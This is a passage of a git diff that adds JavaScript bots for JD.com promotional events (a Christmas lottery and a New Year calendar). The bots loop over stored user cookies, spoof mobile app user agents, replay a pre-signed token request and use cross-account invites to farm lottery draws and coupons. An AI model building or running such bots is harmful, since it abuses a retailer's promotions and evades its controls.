doit of $.shops){ + if ($.shopsNum < $.shops.length && $.canDo === true){ + console.log(`去关注${doit.name}`) + await getRewardList(`shop_view?shop_id=${doit.id}`) + await $.wait(500) + } + }; + $.canDo = true + for (let doit of $.meetingplaces){ + if ($.meetingplacesNum < $.meetingplaces.length && $.canDo === true){ + console.log(`去逛逛${doit.name}`) + await getRewardList(`meetingplace_view?meetingplace_id=${doit.id}`) + await $.wait(500) + } + }; + $.canDo = true + for (let doit of $.prodcuts){ + if ($.prodcutsNum < $.prodcuts.length && $.canDo === true){ + console.log(`去加购${doit.name}`) + await getRewardList(`product_view?product_id=${doit.id}`) + await $.wait(500) + } + }; + await getUserInfo() + await $.wait(500) + console.log(`可抽奖${$.lottery_number}次`) + for (let i = 0; i < $.lottery_number; i++){ + console.log(`第${i+1}次抽奖`) + await lottery(); + await $.wait(1500) + } + if (receiveBean !== 0){ + console.log(`【京东账号${$.index}】,本次总共获得${receiveBean}京豆`) + } + }catch (e) { + $.logErr(e) + } +} + +//助力 +async function getHelp(send_user_id, send_id, num) { + try{ + await doHelp(`accept_love_letter?send_user_id=${send_user_id}&send_id=${send_id}`, num) + }catch (e) { + $.logErr(e) + } +} + +//登录 +function logIn(body) { + return new Promise(resolve => { + $.post(taskPostUrl("authorized_to_log_in", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} logIn API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + //console.log(JSON.stringify(data)) + $.access_token = data.access_token + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +}; + +//活动主页 +function getHomePage(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('get_home_info?type=1',body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)) + if (data.new_letter.length !== 0){ + console.log(`有新信件${data.new_letter.name}\n`) + }; + if (data.new_msg_help.length !== 0){ + //for (let nam of data.new_msg_help){ + console.log(`有新信件${JSON.stringify(data.new_msg_help)}\n`) + //console.log(`有新信件${JSON.stringify(data.new_msg_help)}\n`) + //} + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//用户信息 +function getUserInfo(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('get_user_info',body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)) + $.lottery_number = data.lottery_number + $.user_id = data.id + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//获取助力码 +function getshareCose(function_id, body) { + return new Promise((resolve) => { + $.post(taskGetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} lottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)+"
") + $.code_user = data.send_user_id + $.code_id = data.send_id + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//获取助力码2 +function getOldshareCose(function_id, body) { + return new Promise((resolve) => { + $.get(taskGetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} lottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)) + $.letterNum = data.total + $.letterList.push(data.list) + //console.log(JSON.stringify($.letterList)) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//获取列表 +function getTaskList(function_id,body) { + return new Promise((resolve) => { + $.get(taskGetUrl(function_id,body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getTaskList API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)) + if (function_id === `task_info`){ + $.shops = data.shops; + $.prodcuts = data.prodcuts; + $.meetingplaces = data.meetingplaces; + $.open_card_shops = data.open_card_shops; + $.channel = data.channel; + } + if (function_id === `task_state`){ + $.shopsNum = data.view_shop.length; + $.prodcutsNum = data.view_product.length; + $.meetingplacesNum = data.view_meetingplace.length; + $.open_card_shopsNum = data.open_card.length; + $.channelNum = data.channel_view.length; + $.friendNum = data.friend.length + } + /*if (data.code === 1) { + $.allList = data.content + //console.log(JSON.stringify($.allList)); + } else { + console.log(`getTaskList:${JSON.stringify(data)}\n`); + }*/ + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function lottery(body) { + return new Promise((resolve) => { + $.post(taskGetUrl('lottery',body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} lottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.prize.type === 1){ + console.log(`获得${data.prize.setting.beans_num}京豆\n`) + receiveBean += parseInt(data.prize.setting.beans_num) + }else if (data.prize.type === 5){ + console.log(`获得${data.prize.setting.entity_description}\n`) + }else if (data.prize.type === 0){ + console.log(`获得空气!!\n`) + }else if (data.prize.type === 2 || data.prize.type === 3){ + console.log(`获得${data.prize.name}优惠券\n`) + }else{ + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function getRewardList(functionId) { + return new Promise((resolve) => { + $.get(taskGetUrl(functionId,), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getRewardList API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}\n共有${data.lottery_number}次抽奖机会\n`); + if (data.lottery_number === $.lottery_number){ + $.canDo = false; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//助力 +function doHelp(functionId, num) { + return new Promise((resolve) => { + $.post(taskGetUrl(functionId), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} lottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)+`\n`) + if (data.is_jump_home === 0 && data.send_info.length !== 0){ + console.log(`助力成功\n`) + //judge = "已被看" + $.shareCoseList[num].seen = true + }else if (data.is_jump_home === 0 && data.msg === "情书已被人抢先一步查看"){ + console.log(`${data.msg}\n`) + $.shareCoseList[num].seen = true + }else if (data.is_jump_home === 0 && data.msg === "今天您已经看过TA的情书"){ + console.log(`${data.msg}\n`) + //judge = "今天您已经看过TA的情书" + $.haveSeenId = $.shareCoseList[num].user + }else{ + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getToken(timeout = 0){ + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://bh.m.jd.com/gettoken`, + headers : { + 'Content-Type' : `text/plain;charset=UTF-8` + }, + body : `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + console.log(`joyToken = ${data.joyytoken}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} + +function getMyToken(function_id, body = "") { + return new Promise(async resolve => { + const opt = { + url: `https://jdjoy.jd.com/saas/framework/${function_id}?appId=dafbe42d5bff9d82298e5230eb8c3f79${body}`, + headers: { + authority: "jdjoy.jd.com", + Accept: "*/*", + Connection: "keep-alive", + origin: "https://prodev.m.jd.com", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/mall/active/2tqdREcm3YLC8pbNPdvofdAwd8te/index.html?tttparams=&sid=&un_area=", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + data = JSON.parse(data); + if (data.errorCode === null) { + $.tokenList = data + //console.log(JSON.stringify(data)) + } else { + console.log(`失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}/api/${functionId}`, + //body: body, + headers: { + "Host": "xinrui2-isv.isvjcloud.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Authorization": `Bearer ${$.access_token}`, + "Cache-Control": "no-cache", + "User-Agent": "jdapp;android;10.2.2;11;%s;model/Mi 10;osVer/30;appBuild/91077;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Mi 10 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36", + "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://xinrui2-isv.isvjcloud.com/beauty-christmas2021", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": cookie, + "Content-Type": "application/json;charset=UTF-8" + } + } +} + +function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}/api/${functionId}`, + body: body, + headers: { + "Host": "xinrui2-isv.isvjcloud.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "Authorization": "Bearer undefined", + "Cache-Control": "no-cache", + "User-Agent": "jdapp;android;10.2.2;11;%s;model/Mi 10;osVer/30;appBuild/91077;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Mi 10 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36", + "Sec-Fetch-Mode": "cors", + "X-Requested-With": "com.jingdong.app.mall", + "Sec-Fetch-Site": "same-origin", + "Referer": "https://xinrui2-isv.isvjcloud.com/beauty-christmas2021", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "Cookie": cookie, + "Content-Type": "application/json;charset=UTF-8" + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_year.js b/jd_year.js new file mode 100644 index 0000000..b9cce9d --- /dev/null +++ b/jd_year.js @@ -0,0 +1,345 @@ +/** +京东超市年货日历 +cron 36 2,13 * * * year.js +TG频道:https://t.me/sheeplost +*/ +const $ = new Env("京东超市年货日历"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = ''; +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.1.6;13.5;${UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.hotFlag = true; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.uuid = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx'); + await main(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + cookie = cookiesArr[i]; + $.uuid = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx'); + $.hotFlag = true; + $.token = ''; + $.accessToken = ''; + await getToken(); + if ($.token) { + await taskPost('jd-user-info', `token=${$.token}&source=01`); + if ($.hotFlag === false) { console.log('活动火爆啦,快去买买买吧'); continue } + if ($.accessToken) { + await task('get_user_info', `uuid=${$.uuid}&source=shareFriend`); + $.t1 = h(); + $.t2 = y(); + $.t3 = $.md5($.t1 + $.t2 + $.code + "0evb5nafqo2qaf7pu3v6xq6dx5jpvpab").toUpperCase(); + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部助力`) + for (let j = 0; j < $.shareCodes.length; j++) { + console.log(`\n账号${$.UserName} 去助力 ${$.shareCodes[j].user} 的助力码 ${$.shareCodes[j].code}`) + await taskPost('invite_friend', `inviter_id=${$.shareCodes[j].code}&uuid=${$.uuid}&source=shareFriend`); + await $.wait(2000) + } + } + } else { + $.log('获取accessToken失败,可能黑号了') + } + } else { + $.log('获取token失败!') + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.token = ''; + $.accessToken = ''; + nowdate = getNowDate(); + await getToken(); + if ($.token) { + await taskPost('jd-user-info', `token=${$.token}&source=01`); + if ($.hotFlag === false) { console.log('活动火爆啦,快去买买买吧'); return } + if ($.accessToken) { + await task('get_user_info', `uuid=${$.uuid}&source=shareFriend`); + $.t1 = h(); + $.t2 = y(); + $.t3 = $.md5($.t1 + $.t2 + $.code + "0evb5nafqo2qaf7pu3v6xq6dx5jpvpab").toUpperCase(); + await task('home_task_info', `uuid=${$.uuid}&source=shareFriend`); + if ($.tasklist) { + await taskPost('get_light_task', `uuid=${$.uuid}&source=shareFriend`, { "now_date": `${nowdate}` }); + if ($.status_code === 422) { + console.log('今日已点亮日历') + } else { + $.log('去点亮日历,等待15s') + await $.wait(15000) + await taskPost('do_light_task', `uuid=${$.uuid}&source=shareFriend`, { "now_date": `${nowdate}` }); + } + for (let vo of $.tasklist) { + if (vo.left === vo.right) { + console.log(`任务:${vo.title},已完成`); + continue; + } + if (vo.id === 1) { + console.log(`去执行${vo.title}任务`); + for (let vd of vo.info) { + await taskPost('view_meeting', `meet_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); + await $.wait(2000) + } + } else if (vo.id === 2) { + console.log(`去执行${vo.title}任务`); + for (let vd of vo.info) { + await taskPost('view_product', `product_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); + await $.wait(2000) + } + } else if (vo.id === 3) { + console.log(`去执行${vo.title}任务`); + for (let vd of vo.info) { + await taskPost('view_shop', `shop_id=${vd.id}&uuid=${$.uuid}&source=shareFriend`); + await $.wait(2000) + } + } else if (vo.id === 4) { + console.log(`您的好友互助码:${$.code}`); + $.shareCodes.push({ + code: $.code, + user: $.UserName + }) + } + } + if ($.index === 1) { + console.log('助力作者') + await taskPost('invite_friend', `inviter_id=&uuid=${$.uuid}&source=shareFriend`); + } + } + await task('get_calendar_detail', `uuid=${$.uuid}&source=shareFriend`); + if ($.calendarlist) { + let calendarlist = []; + for (let vo of $.calendarlist) { + if (vo.light_type === 1) { + calendarlist.push(vo.now_date) + } + } + if (calendarlist != '') { + if ($.coins >= 200) { + console.log(`共需要补签${calendarlist.length}天,去补签${calendarlist[0]}`) + await taskPost('repair_draw_word', `now_date=${calendarlist[0]}&uuid=${$.uuid}&source=shareFriend`); + } else { + console.log('爆竹不足200,不补签') + } + } + } + } else { + $.log('获取accessToken失败,可能黑号了!') + } + } else { + $.log('获取Token失败') + } +} + +async function task(function_id, body) { + return new Promise(async resolve => { + $.get(taskUrl(function_id, body), async (err, resp, data) => { + try { + let res = $.toObj(data); + if (typeof res === 'object') { + switch (function_id) { + case 'home_task_info': + $.tasklist = res.data; + break; + case 'get_user_info': + $.code = res.code; + $.coins = res.coins; + break; + case 'get_calendar_detail': + $.calendarlist = res.calendar_list; + break; + default: + $.log(JSON.stringify(res)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPost(function_id, res, body) { + return new Promise(async resolve => { + $.post(taskPostUrl(function_id, res, body), async (_err, resp, data) => { + try { + let res = $.toObj(data); + if (typeof res === 'object') { + switch (function_id) { + case 'get_light_task': + $.status_code = res.status_code; + break; + case 'jd-user-info': + if (res) { + $.accessToken = res.access_token; + } else { + $.hotFlag = false; + } + break; + case 'invite_friend': + console.log(res) + break; + default: + $.log(JSON.stringify(res)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, res, body) { + return { + url: `https://xinrui-isv.isvjcloud.com/api/${function_id}?${res}`, + body: JSON.stringify(body), + headers: { + "t1": $.t1 ?? '', + "t2": $.t2 ?? '', + "t3": $.t3 ?? '', + "Host": "xinrui-isv.isvjcloud.com", + "Accept": "application/json, text/plain, */*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/json", + "Origin": "https://xinrui-isv.isvjcloud.com", + "Content-Length": "25", + "Referer": "https://xinrui-isv.isvjcloud.com/year/fortune", + "Connection": "keep-alive", + "Authorization": `Bearer ${$.accessToken}`, + } + } +} + +function taskUrl(function_id, body) { + return { + url: `https://xinrui-isv.isvjcloud.com/api/${function_id}?${body}`, + headers: { + "Host": "xinrui-isv.isvjcloud.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "t1": $.t1 ?? '', + "t2": $.t2 ?? '', + "t3": $.t3 ?? '', + "User-Agent": UA, + "Authorization": `Bearer ${$.accessToken}`, + "Referer": "https://xinrui-isv.isvjcloud.com/year/logined_jd/", + 'Content-Type': 'application/json;charset=UTF-8', + } + } +} + +function getToken() { + let opt = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A//xinrui-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&uuid=5af46a7710a54108b82a5be167ce747b&client=apple&clientVersion=9.4.0&st=1642425975000&sv=111&sign=360d2d470c51948d8323de9ce750d5d1', + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "JD4iPhone/167675 (iPhone; iOS 13.5; Scale/3.00)", + "Accept-Language": "zh-Hans-HK;q=1, zh-Hant-HK;q=0.9", + "Referer": "", + "Content-Length": "906", + } + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + data = JSON.parse(data); + if (data) { + $.token = data.token; + } else { + $.log('京东返回了空数据') + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function h() { + for (var n = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678", t = n.length, e = "", i = 0; i < 32; i++) + e += n.charAt(Math.floor(Math.random() * t)); + return e +} +function y() { + return Date.parse(new Date).toString().substr(0, 10) +} +function getNowDate() { + var date = new Date(); + var split = "-"; + var year = date.getFullYear(); + var month = date.getMonth() + 1; + var strDate = date.getDate(); + if (month >= 1 && month <= 9) { + month = "0" + month; + } + if (strDate >= 0 && strDate <= 9) { + 